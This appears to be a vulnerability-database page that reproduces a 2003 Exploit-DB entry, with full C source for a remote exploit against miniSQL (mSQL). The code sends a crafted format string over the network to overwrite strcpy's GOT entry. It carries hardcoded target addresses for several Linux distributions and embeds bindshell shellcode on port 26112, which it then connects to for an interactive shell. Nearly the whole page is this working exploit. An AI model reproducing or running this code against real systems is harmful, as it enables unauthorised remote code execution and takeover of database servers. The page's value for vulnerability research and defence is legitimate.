Lucene search
K

miniSQL (mSQL) 1.3 - GID Remote Code Execution

🗓️ 25 Jul 2003 00:00:00Reported by the itchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 41 Views

mSQL 1.3 contains a remote code execution vulnerability due to a format string flaw.

Code
/*           _ ________            _____                        ______
    __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______
         _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/
   ___ ._\    . \\  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _
      - -------\______||--._____\---._______//-|__    //-.___|----._____||
					       / \   /
                                                   \/
[*] mSQL < remote gid root exploit    by lucipher & The Itch (netric)
   ------------------------------------------------------------------------------

[*]  Exploits a format string hole in mSQL.

[*] Some functions are taken from mSQL's sourcecode

    Copyright (c) 2003 Netric Security and lucipher
    All rights reserved.

    THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
    WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/

#include <stdio.h>	/* required by fatal() */
#include <stdlib.h>
#include <stdarg.h>	/* required by fatal() */
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>	/* required by errno */
#include <getopt.h>	/* required by getopt() */
#include <signal.h>

#define PKT_LEN		(128*1024)
#define ERR_BUF_LEN     200
#define resetError()    bzero(msqlErrMsg,sizeof(msqlErrMsg))
#define chopError()     { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
                                if (*cp == '\n') *cp = 0;}

#define NET_READ(fd,b,l)	read(fd,b,l)
#define NET_WRITE(fd,b,l)	write(fd,b,l)

#define SERVER_GONE_ERROR	"server has gone...\n"
#define UNKNOWN_ERROR		"foo!"  

static char msqlErrMsg[200];
static u_char packetBuf[PKT_LEN + 4];
static int readTimeout;
u_char *packet = NULL;

int netReadPacket(int fd);
int netWritePacket(int fd);

/* bindshell shellcode */
char linux_code[78] = /* binds on port 26112 */
        "\x31\xdb\xf7\xe3\x53\x43\x53"
        "\x6a\x02\x89\xe1\xb0\x66\x52"
        "\x50\xcd\x80\x43\x66\x53\x89"
        "\xe1\x6a\x10\x51\x50\x89\xe1"
        "\x52\x50\xb0\x66\xcd\x80\x89"
        "\xe1\xb3\x04\xb0\x66\xcd\x80"
        "\x43\xb0\x66\xcd\x80\x89\xd9"
        "\x93\xb0\x3f\xcd\x80\x49\x79"
        "\xf9\x52\x68\x6e\x2f\x73\x68"
        "\x68\x2f\x2f\x62\x69\x89\xe3"
        "\x52\x53\x89\xe1\xb0\x0b\xcd"
        "\x80";

static void intToBuf(cp, val)
u_char *cp;
int val;
{
        *cp++ = (unsigned int) (val & 0x000000ff);
        *cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
        *cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
        *cp++ = (unsigned int) (val & 0xff000000) >> 24;
}

static int bufToInt(cp)
u_char *cp;
{
        int val;

        val = 0;
        val = *cp++;
        val += ((int) *cp++) << 8;
        val += ((int) *cp++) << 16;
        val += ((int) *cp++) << 24;
        return (val);
}

int netWritePacket(fd)
int fd;
{
        int len, offset, remain, numBytes;

        len = strlen((char *) packet);
        intToBuf(packetBuf, len);
        offset = 0;
        remain = len + 4;
        while (remain > 0) {
                numBytes = NET_WRITE(fd, packetBuf + offset, remain);
                if (numBytes == -1) {
                        return (-1);
                }
                offset += numBytes;
                remain -= numBytes;
        }
        return (0);
}

int netReadPacket(fd)
int fd;
{
        u_char buf[4];
        int len, remain, offset, numBytes;

        remain = 4;
        offset = 0;
        numBytes = 0;
        readTimeout = 0;
        while (remain > 0) {
                /*
                 ** We can't just set an alarm here as on lots of boxes
                 ** both read and recv are non-interuptable.  So, we
                 ** wait till there something to read before we start
                 ** reading in the server (not the client)
                 */
                if (!readTimeout) {
                        numBytes = NET_READ(fd, buf + offset, remain);
                        if (numBytes < 0 && errno != EINTR) {
                                fprintf(stderr,
                                        "Socket read on %d for length failed : ",
                                        fd);

                                perror("");
                        }
                        if (numBytes <= 0)
                                return (-1);
                }
                if (readTimeout)
                        break;
                remain -= numBytes;
                offset += numBytes;

        }
        len = bufToInt(buf);
        if (len > PKT_LEN) {
                fprintf(stderr, "Packet too large (%d)\n", len);
                return (-1);
        }
        if (len < 0) {
                fprintf(stderr, "Malformed packet\n");
                return (-1);
        }
        remain = len;
        offset = 0;
        while (remain > 0) {
                numBytes = NET_READ(fd, packet + offset, remain);

                if (numBytes <= 0) {
                        return (-1);
                }
                remain -= numBytes;
                offset += numBytes;
        }
        *(packet + len) = 0;
        return (len);
}

int msqlSelectDB(int sock, char *db)
{
        memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));

        packet = packetBuf+4;

        snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
        netWritePacket(sock);
        if (netReadPacket(sock) <= 0) {
                strcpy(msqlErrMsg, SERVER_GONE_ERROR);
                return (-1);
        }
        if (atoi(packet) == -1) {
                char *cp;

                cp = (char *) index(packet, ':');
                if (cp) {
                        strcpy(msqlErrMsg, cp + 1);
                        chopError();
                } else {
                        strcpy(msqlErrMsg, UNKNOWN_ERROR);
                }
                return (-1);
        }

        return (0);
}

struct target {
	char *name;			/* target description */
	unsigned long writeaddr;	/* mSQL's errMsg + 18 + 8 address */
	unsigned long smashaddr;	/* strcpy's GOT address */
	unsigned long pops;		/* number of stack pops */
};

/* high and low words indexers */
enum { hi, lo };

/* default values. */
struct target targets[] = {
	/* name                         write      smash       pops */
	{ "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
	{ "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
	{ "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
	{ "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
	{ NULL, 0x0, 0x0, 0 }
};

void fatal(char *fmt, ...)
{
        char buffer[1024];
        va_list ap;

        va_start(ap, fmt);
        vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
        va_end(ap);

        fprintf(stderr, "%s", buffer);
        exit(1);
}

/* resolve a given hostname */
unsigned long tcp_resolv(char *hostname)
{
        struct hostent *he;
        unsigned long addr;
        int n;

        he = gethostbyname(hostname);
        if (he == NULL) {
                n = inet_aton(hostname, (struct in_addr *) addr);
                if (n < 0)
                        fatal("inet_aton: %s\n", strerror(errno));

                return addr;
        }

        return *(unsigned long *) he->h_addr;
}

/* routine to open a tcp/ip connection */
int tcp_connect(char *hostname, int port)
{
        struct sockaddr_in sin;
        int fd, n;

        sin.sin_addr.s_addr = tcp_resolv(hostname);
        sin.sin_family = AF_INET;
        sin.sin_port = htons(port);

        fd = socket(AF_INET, SOCK_STREAM, 6);
        if (fd < 0)
                return -1;

        n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
        if (n < 0)
                return -1;

        return fd;
}

int msql_login(char *hostname, unsigned short int port)
{
	char buffer[300], *p;
	int fd, n, opt;

	fd = tcp_connect(hostname, port);
	if (fd < 0)
		fatal("[-] couldn't connect to host %s:%u\n", hostname, port);

	setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);

	memset(&buffer, 0x0, sizeof(buffer));
	n = read(fd, &buffer, sizeof(buffer) - 1);
	if (n < 0)
		fatal("[-] could not read socket: %s\n", strerror(errno));

	p = (char *)&buffer + 4;
	if (atoi(p) == -1)
		fatal("[-] bad handshake received.\n");
	p++;
	if (*p != ':') p++;
	p++;
	if (*p >= '1' && *p <= '3') {
		/* send buffer size within packet. */
		buffer[0] = (unsigned int) (5UL & 0x000000ff);
		buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
		buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
		buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
		/* sorta like our login. */
		buffer[4] = 'r';
		buffer[5] = 'o';
		buffer[6] = 'o';
		buffer[7] = 't';
		buffer[8] = '\n';
		buffer[9] = '\0';

		write(fd, buffer, 9);	
	}

	n = read(fd, buffer, sizeof(buffer) - 1);
	if (n < 0)
		fatal("[-] client failed in handshake.\n");

	printf("[+] connected to %s -> %u\n", hostname, port);
	return fd;
}

void msql_selectdb(int fd, char *database)
{
	unsigned char buffer[300];
	unsigned int len;

	len = 117;
	buffer[0] = (unsigned char)(len & 0x000000ff);
	buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
	buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
	buffer[3] = (unsigned char)(len & 0xff000000) >> 24;

	snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
	len = write(fd, &buffer[0], len);

}

void shell(int fd)
{
	char buf[512];
	fd_set rfds;
	int l;

	write(fd, "id ; uname -a\n", 14);
	while (1) {
		FD_SET(0, &rfds);
		FD_SET(fd, &rfds);
		select(fd + 1, &rfds, NULL, NULL, NULL);

		if (FD_ISSET(0, &rfds)) {
			l = read(0, buf, sizeof (buf));
			if (l <= 0) {
				perror("read user");
				exit(EXIT_FAILURE);
			}
			write(fd, buf, l);
		}

		if (FD_ISSET(fd, &rfds)) {
			l = read(fd, buf, sizeof (buf));
			if (l == 0) {
				fatal("connection closed by foreign host.\n");
			} else if (l < 0) {
				perror("read remote");
				exit (EXIT_FAILURE);
			}
			write(1, buf, l);
		}

	}
}

void usage(void)
{
	fprintf(stderr, "mSQLexploit\n\n");
	fprintf(stderr, "  -l\t\tlist available targets.\n");
	fprintf(stderr, "  -t target\ttarget selection.\n");
	fprintf(stderr, " *** MANUAL ATTACK ***\n");
	fprintf(stderr, "  -s [addr]\tsmash address.\n");
	fprintf(stderr, "  -w [addr]\twrite address.\n");
	fprintf(stderr, "  -p [num]\tnumber of pops.\n");
	exit(1);
}

int main(int argc, char **argv)
{
	struct target manual;
	struct target *target = NULL;
	unsigned short port = 0, addr[2];
	unsigned char split[4];
	char *hostname, buffer[200];
	int fd, opt;

	if (argc <= 1)
		usage();

	memset(&manual, 0x00, sizeof(struct target));
	while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
		switch (opt) {
		case 't': /* pre-written target selection */
			target = &targets[atoi(optarg)];
			break;
		case 'l': 
			{
			int i;
			/* iterate through the list of targets and display. */
			for (i = 0; targets[i].name; i++)
				printf("[%d] %s\n", i, targets[i].name);

			exit(1);
			}
		case 'h':
			/* print exploit usage information */
			usage();
			break; /* never reached */
		case 's':
			if (target == NULL)
				target = &manual;

			target->name = "Manual Target";
			target->smashaddr = strtoul(optarg, NULL, 16);
			break;
		case 'w':
			if (target == NULL)
				target = &manual;

			target->name = "Manual Target";
			target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
			break;
		case 'p':
			if (target == NULL)
				target = &manual;
			target->name = "Manual Target";
			target->pops = atoi(optarg);
		}
	}

	argc -= optind;
	argv += optind;

	if (argc <= 0) {
		fatal("choose a hostname and optionally a port\n");
	} else if (argc == 1) {
		hostname = argv[0];
	} else {
		hostname = argv[0];
		port = atoi(argv[1]) & 0xff;
	}
	if (target != NULL) {
		if (!strncmp(target->name, "Manual", 6))
			if (!target->smashaddr || !target->writeaddr || 
			    !target->pops)
				fatal("exploit requires pop count and "
				"smash, write addresses: use -p and -w and -s "
				"to set them\n");
	} else {
		target = &target[0];
	}

	printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);

	fd = msql_login(hostname, (port) ? port : 1114);

	printf("[+] name %s\n", target->name);
	printf("[+] smash %08lx\n", target->smashaddr);
	printf("[+] write %08lx\n", target->writeaddr);
	printf("[+] Now building string...\n");

	memset(&buffer, 0x0, sizeof(buffer));

	addr[lo] = (target->writeaddr & 0x0000ffff);
	addr[hi] = (target->writeaddr & 0xffff0000) >> 16;

	/* split the address */
	split[0] = (target->smashaddr & 0xff000000) >> 24;
	split[1] = (target->smashaddr & 0x00ff0000) >> 16;
	split[2] = (target->smashaddr & 0x0000ff00) >> 8;
	split[3] = (target->smashaddr & 0x000000ff);

	/* build the format string */
	if (addr[hi] < addr[lo])
		snprintf(buffer, sizeof(buffer),
				"%c%c%c%c"
				"%c%c%c%c"

				"%s"

				"%%.%du%%%ld$hn"
				"%%.%du%%%ld$hn",
			
				split[3] + 2, split[2], split[1], split[0],
				split[3], split[2], split[1], split[0],
				linux_code,
				addr[hi] - 0x68, target->pops, 
				addr[lo] - addr[hi], target->pops + 1);
	else 
		snprintf(buffer, sizeof(buffer),
                                "%c%c%c%c"
                                "%c%c%c%c"

                                "%s"

                                "%%.%du%%%ld$hn"
                                "%%.%du%%%ld$hn",

                                split[3] + 2, split[2], split[1], split[0],
                                split[3], split[2], split[1], split[0],
                                linux_code,
                                addr[lo] - 0x68, target->pops,
                                addr[hi] - addr[lo], target->pops + 1);
	
	printf("[+] Trying to exploit...\n");
	msqlSelectDB(fd, buffer);
	switch (opt = fork()) {
	case 0: 
		msqlSelectDB(fd, buffer);
		exit(1);
	case -1:
		fatal("[-] failed fork()!\n");
	default:
		break;
	}

	printf("[+] sleeping...\n");
	sleep(1);
	opt = tcp_connect(hostname, 26112);
	if (opt < 0)
		fatal("[-] failed! couldn't connect to bindshell!\n");

	printf("[+] shell!\n");
	shell(opt);
	
	return 0;
}


// milw0rm.com [2003-07-25]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jul 2003 00:00Current
7High risk
Vulners AI Score7
41